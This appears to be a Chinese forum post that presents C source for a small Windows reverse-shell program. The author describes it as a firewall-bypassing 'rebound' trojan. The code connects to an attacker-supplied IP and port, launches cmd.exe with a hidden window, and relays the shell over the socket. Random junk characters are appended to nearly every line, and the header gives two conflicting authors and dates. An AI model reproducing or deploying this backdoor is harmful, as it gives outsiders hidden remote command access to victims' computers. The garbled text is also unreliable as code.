这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $t
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/* ============================== qD%&\ZT
Rebound port in Windows NT @oc%4~zl
By wind,2006/7 ]vkHU6d
===============================*/ HJ1\FO9\
#include +$QL0|RL
#include '/Cz{<,
#Xw[i
#pragma comment(lib,"wsock32.lib") +ZA\M:^b
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void OutputShell(); kbT-Oz 2
SOCKET sClient; pdha"EV
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; OUk5c$M(
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void main(int argc,char **argv) s>``-
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{ Nl<,rD+KSD
WSADATA stWsaData; zu*G4?]~h
int nRet; e, 0I~:
SOCKADDR_IN stSaiClient,stSaiServer; 6N+)LF}P b
F4<2.V)#-
if(argc != 3) G1^!e j
{ %PdYv _5
printf("Useage:\n\rRebound DestIP DestPort\n"); MVv^KezD
return; M@X#[w:
} |21hY
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WSAStartup(MAKEWORD(2,2),&stWsaData); g7LW?Ewr
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <$6'Mzf
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stSaiClient.sin_family = AF_INET; Heif FJn
stSaiClient.sin_port = htons(0); Y9L6W+=T
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); N_k6UA9
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) eL?si!ZL^
{ yIf}b
printf("Bind Socket Failed!\n"); LqsJHG
return; Hpg;?xAT
} b-zX3R;
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stSaiServer.sin_family = AF_INET; to|9)\
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RZh)0S>J
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4bzn^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) O Lup`~
{ "s<lLgi
printf("Connect Error!"); []3}(8yxGb
return; Jv.R?1;8i
} UBHQzc+,
OutputShell(); fO(S+}
} <slq1
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void OutputShell() A":b_!sW
{ >D4Ez
char szBuff[1024]; eniR}
SECURITY_ATTRIBUTES stSecurityAttributes; AR6vc
OSVERSIONINFO stOsversionInfo; =?Md&%j
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; I8]NY !'cW
STARTUPINFO stStartupInfo; '0$[Ujc
char *szShell; }F`2$Q+CW
PROCESS_INFORMATION stProcessInformation; W*`6ero
unsigned long lBytesRead; ",V5*1w
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~WXxVm*@
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); K.1yncS^
stSecurityAttributes.lpSecurityDescriptor = 0; X )s7_
stSecurityAttributes.bInheritHandle = TRUE; *Y0,d`
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); kK|+W,
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <u wCP4E
O9)}:++T
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); FNEmGz/4
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ymX,k|lh
stStartupInfo.wShowWindow = SW_HIDE; wR$8drn]Rq
stStartupInfo.hStdInput = hReadPipe; Z`c{LYP,y"
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vnC&1
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GetVersionEx(&stOsversionInfo); S5a<L_
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switch(stOsversionInfo.dwPlatformId) /mu4J|[[
{ (#M$t!'%
case 1: JW'acD
szShell = "command.com"; hP<qK Vy
break; d( g_y m*
default: 7e[\0:Z
szShell = "cmd.exe"; r!,V_a4n
break; zL8A?G)=M
} @2*6+w_Ae
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); s2=X>,kz?
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send(sClient,szMsg,77,0); Rj`Y X0?+
while(1) S`w)b'B!M
{ _ u2
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); S]/+n>
if(lBytesRead) C~V$G}mM
{ m
kf{_!TK
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); PzDgl6C
send(sClient,szBuff,lBytesRead,0); Pv.@Y30
} v ed
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else 0M+tKFb
{ {o%R~{6
lBytesRead=recv(sClient,szBuff,1024,0); V/}8+Xq
if(lBytesRead<=0) break; L]<4{8H.
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); TJ:Lz]l >
} {hR2NUm
} lXKZNCL
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return; SH|$Dg
}